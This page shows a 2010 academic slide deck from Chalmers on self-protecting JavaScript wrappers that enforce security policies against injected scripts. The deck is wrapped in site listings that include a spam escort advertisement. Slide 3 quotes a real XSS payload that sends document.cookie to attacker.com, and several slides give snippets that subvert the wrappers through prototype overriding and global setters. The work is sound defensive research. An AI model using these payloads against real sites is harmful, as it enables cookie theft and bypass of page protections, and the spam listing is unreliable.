Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...MyIntelliSource, Inc.
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideChristina Lin
 
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxTier1 app
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackVICTOR MAESTRE RAMIREZ
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityNeo4j
 
Project Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationProject Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationkaushalgiri8080
 

Recently uploaded (20)

Engage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The UglyEngage Usergroup 2024 - The Good The Bad_The Ugly
Engage Usergroup 2024 - The Good The Bad_The Ugly
 
The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdf
The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdfThe Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdf
The Essentials of Digital Experience Monitoring_ A Comprehensive Guide.pdf
 
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
ODSC - Batch to Stream workshop - integration of Apache Spark, Cassandra, Pos...
 
chapter--4-software-project-planning.ppt
chapter--4-software-project-planning.pptchapter--4-software-project-planning.ppt
chapter--4-software-project-planning.ppt
 
cybersecurity notes for mca students for learning
cybersecurity notes for mca students for learningcybersecurity notes for mca students for learning
cybersecurity notes for mca students for learning
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need It
 
Optimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTVOptimizing AI for immediate response in Smart CCTV
Optimizing AI for immediate response in Smart CCTV
 
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
Building a General PDE Solving Framework with Symbolic-Numeric Scientific Mac...
 
What is Binary Language? Computer Number Systems
What is Binary Language?  Computer Number SystemsWhat is Binary Language?  Computer Number Systems
What is Binary Language? Computer Number Systems
 
Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...Advancing Engineering with AI through the Next Generation of Strategic Projec...
Advancing Engineering with AI through the Next Generation of Strategic Projec...
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.com
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
 
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop SlideBuilding Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
Building Real-Time Data Pipelines: Stream & Batch Processing workshop Slide
 
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
 
Cloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStackCloud Management Software Platforms: OpenStack
Cloud Management Software Platforms: OpenStack
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered Sustainability
 
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
 
Project Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationProject Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanation
 

Safe Wrappers and Sane Policies for Self Protecting JavaScript

  • 1. Nordsec 2010 Espoo, Finland October 29, 2010 Safe Wrappers and Sane Policies for Self Protecting JavaScript* Jonas Magazinius, Phu H. Phung, and David Sands Chalmers, Sweden * This work has been accepted and presented at OWASP AppSec Research ’10
  • 2. The problems • Injected (untrusted) JavaScript code (e.g.XSS) – A malicious user (the attacker) injects potentially dangerous JavaScript code into a webpage via data entry in the webpage, e.g.: • blog • forum • web-mail • Third party scripts (e.g. advertisement, mashup web applications) • Buggy code
  • 3. XSS attack example <B C=">" onmouseover="alert(document.location='http://attacker.com/cookies?'+document.cookie)" X="<B "> Move your mouse here </B> This was a real attack exploited to the open source forum phpBB 2.0.18
  • 4. Difficult issues • Filter mechanism problem: – Parser mismatch: filter does not always parse in the same way as browser • Dynamic scripts problematic, e.g. document.write, eval, ... <script> document.write(‘<scr’); document.write(‘ipt> malic’); var i= 1; document.write(‘ious code; </sc’); document.write(‘ript>’); </script> <script> malicious code; </script>
  • 5. The landscape of JavaScript security mechanisms • Server filtering, but parser mismatch problem • Language subset, sandboxing • Behavioral sandboxing – Code transformation – No code transformation • Browser modification • No browser modification
  • 6. Our approach: Self-Protecting JavaScript • “inline” the policy into the JavaScript code so that the code becomes self-protecting • The policy enforcement is implemented in a lightweight manner – does not require browser modification – non invasive: the original code (and any dynamically generated code) is not syntactically modified, no code parser or modification – its implementation is a small and simple aspect-oriented programming –style library
  • 7. The policies • The enforcement mechanism is security reference monitor-based • Ensure safety property of program execution • Examples: • Only allow URI in a white-list when sending by XMLHttpRequest • Do not allow send after cookie read • Limit the number of alerts to 2
  • 8. A policy example var alertPolicy = function(args, proceed) { if (alertCount < 2){ alertCount++; return proceed(); }else policylog(‘alert is denied'); }; wrap(window, 'alert‘, alertPolicy);
  • 9. Enforcement method JavaScript execution environment (e.g. browsers) Native implementations alert implementation code pointers User functions alert(..) window.alert unique alert wrapper (+policy code) Attacker code alert = function(){...}; alert wrapper Phu H. Phung, David Sands, Andrey Chudnov – cse.chalmers.se Dagstuhl 09141, 2 April 2009
  • 10. Deployment • Structure of a webpage containing policy enforcement code • Policies are located in the first script tag – Policy enforcement is applied for the rest of code The enforcement code can be deployed anywhere between client and server: server side, proxy or plug-in Dagstuhl 09141, 2 April 2009
  • 11. Breaking and fixing the library WRAPPER POLICIES Subversion Subversion Subversion Subversion Aliasing Aliasing Declarativity
  • 12. Subversion Browser environment WRAPPER Untrusted code
  • 13. Function and object subversion Object • prototype • valueOf( ) Function • constructor • prototype • apply( ) • call( ) {function instance} • constructor Modifying inherited function subverts expected behaviour
  • 14. Function and Object Subversion Wrapper code: original.apply(this,args) Fixing the wrapper: • original.apply=apply • Rewrite wrapper to remove dependency Subversion: var org; Function.prototype.apply = Wrapper relies on function(){ org = this} inherited function Attacker can redefine this function and steal original
  • 15. Global setter subversion • Setters: – When this property is set, execute this function • obj.defineSetter(‘abc’,function(x){ alert(x) }) • obj.abc = ‘123’; // alerts 123 • Global setters – Is inherited by all objects – Is executed even upon instantiation of new objects(!)
  • 16. Global setter subversion function x() { … var x = {secret: 1}; … } Function closure: Global setter for “secret”: function setSecret(sec) { // We have your secret! alert(sec); }
  • 17. Global Setter subversion Wrapper code policy({args: arguments, proceed: original}) Fixing the wrapper: • No temporary objects? • Use “safe” objects… • Change JavaScript: Don’t execute setters upon instantiation Subversion var org; Object.prototype. __defineSetter__(‘proceed’, Wrapper uses temporary object function(o) { org = o }) to pass built-in Attacker defines a global setter for the proceed property and steal the built-in
  • 18. Caller subversion • The caller property of a function refers back to the function that called it – the previous function in the call stack – If function A executes function B, then B.caller refer to A – B can now access and modify part of A’s private information, such as the arguments it was passed • Some built-ins will call external user-defined functions by design • Others will do it implicitly • The wrapper can also trigger implicit calls
  • 19. Caller subversion (built-ins) • Example of call by design: [1,2,3].map(function(){}) • Takes function as an argument • Can not be reliably wrapped – not a problem • Example of implicit call obj.toString = function x(){return alert= x.caller} alert(obj) • Alert will execute the function which will restore alert • Need to know an upper bound on potential implicit calls • Remove any user defined functions on affected properties
  • 20. Caller subversion (wrapper) • We can prevent access by using a trap – Recursive functions overwrite the caller property with itself – impossible to reach below in the call stack – By calling the trap whenever we do a sensitive access we can protect the integrity of the wrapper function trap(f, b) { if(b) f() else trap(f, true) }
  • 21. Breaking and fixing the library WRAPPER POLICIES Subversion Subversion Subversion Subversion Aliasing Aliasing Declarativity
  • 22. Static aliases window.alert alert Window.prototype.alert window.window.alert window.__proto__.alert constructor.prototype.alert
  • 23. Inheritance graph Object.prototype.toString Window.prototype.toString window.toString Function.prototype.toString alert.toString The constructor property points back to the parent object
  • 24. Dynamic aliases alert alert wrapper alert
  • 25. Dynamic aliases protection • Access to other windows is easy to prevent • Two ways of accessing content in an iframe – contentWindow property • Access can be controlled by policy – window.frames array • Access can be controlled to each index of the array, but not the array as a whole • How many indices to control? - “Enough.” – The problem is that we don’t know this when we load the page – Where enough is as many as could be included in the page – Dynamically check number of indices after each operation that might result in the creation of an iframe
  • 26. Breaking and fixing the library WRAPPER POLICIES Subversion Aliasing Aliasing Declarativity
  • 27. Function and Object Subversion for Policies Policy code var whitelist = {"good.com":true } if(whitelist[address.substr(...))]) Policy expects certain behavior Fixing subversion • hasOwnProperty() • Use “safe” objects… Subversion Object.prototype[‘evil.com’]= true String.prototype.substr = function() { return ‘good.com’; } The policy writer should not have to remember this… Attacker can easily change the expected behavior
  • 28. “Safe” objects • safe() function – Creates a blank object which does not inherit from the prototype-chain • {__proto__: null} – Recursively copies all fields from the input object to the newly created copy – Sometimes inheritance is required • Restore methods from safe copies
  • 29. Breaking and fixing the library WRAPPER POLICIES Subversion Declarativity
  • 30. Non-declarative vs. declarative policies Policy code if (whitelist[address]) img.src = address; Fixing problem Policy declare which types it expects in a type language and monitor enforces it Attack x = {toString: function() { this.toString= function()’bad.com’; return ‘good.com’; } } Policy code expect address to be a string Attacker can pass a statefull object that pretends to be a good string, but then changes into a bad string
  • 31. WRAPPER Declarative policies Policy Copy Combine Built-in x: ‘abc’ y: {…} z: 1 x: ‘string’ y: ‘number’ x: ‘abc’ y: 0 x: ‘abc’ y: 123 x: ‘abc’ y: 123 z: 1 Copy values and coerce to the type specified by the policy Policy can inspect and modify values The output of the policy is merged with the original input
  • 32. Breaking and fixing the library WRAPPER POLICIES Declarativity
  • 33. Summary • Our approach is to control and modify the behaviour of JavaScript by monitoring the code to make it self-protecting – No browser modifications – Non-invasive • No rewriting of the untrusted code • Solve the problem of dynamic scripts • Avoiding the need for extensive runtime code transformation • Possible vulnerabilities of the library are addressed and fixed • Typing for arguments to prevent malicious parameters Dagstuhl 09141, 2 April 2009
  • 34. Further work • Case studies for particular web applications • Fully develop the framework, including treating mashups, policies that span multiple pages • Authoring policies: – Not easy for the programmer to ensure that all objects are safe • Strong motivation for defining a policy language for authoring policies which are well behaved.
  • 36. Jonas Magazinius, Phu H. Phung, and David Sands Chalmers, Sweden Safe Wrappers and Sane Policies for Self Protecting JavaScript http://www.cse.chalmers.se/~phung/projects/jss

Editor's Notes

  1. Explain mechanism - Setters allow user to inject code into secure scope - trusted code fooled to invisibly call untrusted code
  2. Limitation: Shared state across frames Static
  3. Inheritance graph - Picture - Code?
  4. Restrict functionality of iframes and frames Window indices
  5. www paper?? Safe function! (detach) recursively copies fields and sets proto to null
  6. References: Sergio Maffeis (S&P 2010) Simple solution in previous paper The problem is still being exploited Solution is a typelanguage